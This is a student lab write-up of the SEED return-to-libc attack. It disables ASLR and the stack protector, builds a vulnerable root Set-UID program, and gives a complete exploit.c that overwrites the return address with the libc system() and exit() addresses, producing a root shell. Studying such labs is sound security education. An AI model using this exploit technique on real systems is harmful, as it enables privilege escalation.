Ret2libc

1) Turning off Countermeasures

a. **Address Space Randomization:** Ubuntu and several other Linux systems uses ASLR to randomize starting address of heap and stack.

```
[10/25/19]seed@VM:~$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
```

b. **The StackGaurd Protection Scheme:** The GCC compiler implements a security mechanism to prevent buffer overflow. We have to disable it for the vulnerable program.

c. **Non-Executable Stack:** Ubuntu used to allow executable stack, but now we have to make it executable as it is non-executable by default.

d. **Configure /bin/sh:** /bin/sh symbolic link points to /bin/dash and dash program has a countermeasure that prevents itself from being executed in a Set-UID process, hence it will immediately change the effective user ID to the process's real user ID, essentially dropping the privilege.

```
[10/25/19]seed@VM:~$ sudo rm /bin/sh
[10/25/19]seed@VM:~$ sudo ln -s /bin/zsh /bin/sh
```

2) The Vulnerable Program

a. The code below is vulnerable as it uses the function fread which does not check the bounds and can hence allow buffer overflow to occur. The objective is to create a badfile in such a way that we get access to the shell code. As the contents of badfile are being loaded on to the stack.

```c
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(FILE *badfile)
{
    char buffer[12];

    /* The following statement has a buffer overflow problem */
    fread(buffer, sizeof(char), 40, badfile);

    return 1;
}

int main(int argc, char **argv)
{
    FILE *badfile;

    badfile = fopen("badfile", "r");
    bof(badfile);

    printf("Returned Properly\n");

    fclose(badfile);
    return 1;
}
```

b. We must compile the vulnerable code and turn it into a root-owned Set-UID program.

```
[10/25/19]seed@VM:~$ gcc -fno-stack-protector -z noexecstack -o retlib r
etlib.c
[10/25/19]seed@VM:~$ chown root retlib
chown: changing ownership of 'retlib': Operation not permitted
[10/25/19]seed@VM:~$ sudo chown root retlib
[10/25/19]seed@VM:~$ sudo chmod 4755 retlib
```

3) Task 1: Finding out the addresses of libc function

We need to find out the address of the system () and exit () functions, the best way to do that is to use GNU gdb debugger. We used the already compiled retlib program to debug and find the addresses.

```
[10/25/19]seed@VM:~$ gdb retlib
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from retlib...(no debugging symbols found)...done.
gdb-peda$ b main
Breakpoint 1 at 0x80484e9
gdb-peda$ r
Starting program: /home/seed/retlib

[----------------------------------registers-----------------------------------]
EAX: 0xb7774dbc --> 0xbf82db0c --> 0xbf82f04a ("XDG_VTNR=7")
EBX: 0x0
Breakpoint 1, 0x080484e9 in main ()
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7e42da0 <__libc_system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xb7e369d0 <__GI_exit>
gdb-peda$
```

We obtained the system () function address and the exit () address by this method.

4) Task 2: Putting the shell string in memory

Now we have to obtain the system () function address to obtain it and execute an arbitrary command. Our objective is to obtain the shell prompt, so we need the system () function to execute /bin.sh program. But the /bin/sh must be put into the memory first and we need to obtain that address as well. The shell spawns a child process to execute the program and the exported shell variables will become the environment variable of the child process's memory. We will use a program which prints out the /bin/sh address by env command running inside the child process.

```
[10/25/19]seed@VM:~$ export MYSHELL="/bin/sh"
[10/25/19]seed@VM:~$ echo $MYSHELL
/bin/sh
[10/25/19]seed@VM:~$ gcc testing.c -o testing
testing.c: In function 'main':
testing.c:5:26: warning: implicit declaration of function 'getenv' [-Wimplicit-f
unction-declaration]
    char *shell = (char *)getenv("MYSHELL");
                          ^
[10/25/19]seed@VM:~$ ./testing
 Value: /bin/sh
 Address: bffffded
[10/25/19]seed@VM:~$
```

The /bin/sh address is bffffded

5) Task 3: Exploiting the Buffer-Overflow Vulnerability

With the address obtained from above we will prepare our exploit.c program. But first we have to find out the offset between buffer and the current ebp pointer to find out at which offset do we have to overwrite the value of "/bin/sh", system () and exit (). To do that we will gdb debug the retlib and put and breakpoint at bof, then we run it and print the buffer and the ebp address

```
Breakpoint 1, bof (badfile=0x804fa88) at stack.c:12
12          fread(buffer, sizeof(char), 40, badfile);
gdb-peda$ p &buffer
$1 = (char (*)[12]) 0xbfffecd4
gdb-peda$ p $ebp
$2 = (void *) 0xbfffece8
gdb-peda$ p 0xbfffece8 - 0xbfffecd4
$3 = 0x14
gdb-peda$
```

So, as we see subtracting both the addresses, we get 20 bytes. So we need to input system () address at the offset 24 (4 bytes after starting address of ebp), exit () function we overwrite at the offset of 28 as system will use this address to return and finally we put in the address of "/bin/sh" at the offset of 32 as system will take arguments which are stored 12 bytes above ebp.

So, the final exploit file will be:

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
  char buf[40];
  FILE *badfile;

  badfile = fopen("./badfile", "w");

  /* You need to decide the addresses and
     the values for X, Y, Z. The order of the following
     three statements does not imply the order of X, Y, Z.
     Actually, we intentionally scrambled the order. */
  *(long *) &buf[32] = 0xbffffdef ;    //  "/bin/sh"
  *(long *) &buf[24] = 0xb7e42da0 ;    //  system()
  *(long *) &buf[28] = 0xb7e369d0 ;    //  exit()

  fwrite(buf, sizeof(buf), 1, badfile);
  fclose(badfile);
}
```

Over here the "/bin/sh" address has been modified by 2 bytes from the one obtained in the above step, as the env variable was giving an incorrect address.
As we can see the shell with root permission has been generated.

```
[10/25/19]seed@VM:~$ gcc -o exploit exploit.c
[10/25/19]seed@VM:~$ ./exploit
[10/25/19]seed@VM:~$ ./retlib
# whoami
root
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27
(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
# exit
```

a) Attack Variation 1: By removing the exit address from the exploit file we obtain a segmentation fault as the return address is missing and hence not having an exit address it throws a fault. So, to nicely terminate the program exit () function's address must be added.

```
[10/25/19]seed@VM:~$ ./retlib
# whoami
root
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27
(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
# exit
Segmentation fault
```

b) Attack Variation 2: We changed the filename to retlib1 and compiled it again. The error we got is the following error.

```
[10/25/19]seed@VM:~$ gcc -fno-stack-protector -z noexecstack -o retlib1 retlib1.
c
[10/25/19]seed@VM:~$ sudo chown root retlib1
[10/25/19]seed@VM:~$ sudo chmod 4755 retlib1
[10/25/19]seed@VM:~$ ./retlib1
zsh:1: no such file or directory: in/sh
Segmentation fault
```

This is because we added 1 byte to the name of the vulnerable program and the entire environment variable gets shifted by 2 bytes (if we added 2 bytes then it would shift by 4 bytes). So now the "/bin/sh" address points to "in/sh".

6) Task 4: Turning on Address Randomization

By turning on address randomization we get a segmentation fault. This is the changes which are made by randomly assigning the addresses. The 6 values which will be incorrect are the X, Y and Z offsets, the "/bin/sh" address, the system () function address and the exit () function address. As shown below:

```
Breakpoint 1, 0x080484c1 in bof ()
gdb-peda$ p &buffer
$1 = (char (*)[30]) 0xb76455b4 <buffer>
gdb-peda$ p $ebp
$2 = (void *) 0xbf87f018
gdb-peda$ p 0xbf87f018 - 0xb76455b4
$3 = 0x8239a64
gdb-peda$
```

Using gdb and switching off disabling address randomization we obtain the offset between the buffer and ebp as 0x8239a64 which is 136551012 bytes instead of 20 bytes!

```
[10/25/19]seed@VM:~$ export MYSHELL="/bin/sh"
[10/25/19]seed@VM:~$ echo $MYSHELL
/bin/sh
[10/25/19]seed@VM:~$ gcc -o testing testing.c
testing.c: In function 'main':
testing.c:5:26: warning: implicit declaration of function 'getenv' [-Wimplicit-f
unction-declaration]
    char *shell = (char *)getenv("MYSHELL");
                          ^
[10/25/19]seed@VM:~$ ./testing
 Value: /bin/sh
 Address: bf8d2ded
```

As we can see the /bin/sh address has also been changed drastically and it will be incorrect in the exploit.c file

```
Breakpoint 1, 0x080484e9 in main ()
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb75bada0 <__libc_system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xb75ae9d0 <__GI_exit>
```

As we can see compared to the addresses obtained above the system () and exit () functions' addresses have also been changed.
So, all 6 six values being input in the exploit file have been changed and hence are incorrect.

References:

Computer & Internet Security: A Hands-on Approach, by Wenliang Du, Independently Published, 2019.

Return-to-Libc Attack Lab, seedsecuritylabs.org/Labs_16.04/Software/Return_to_Libc/.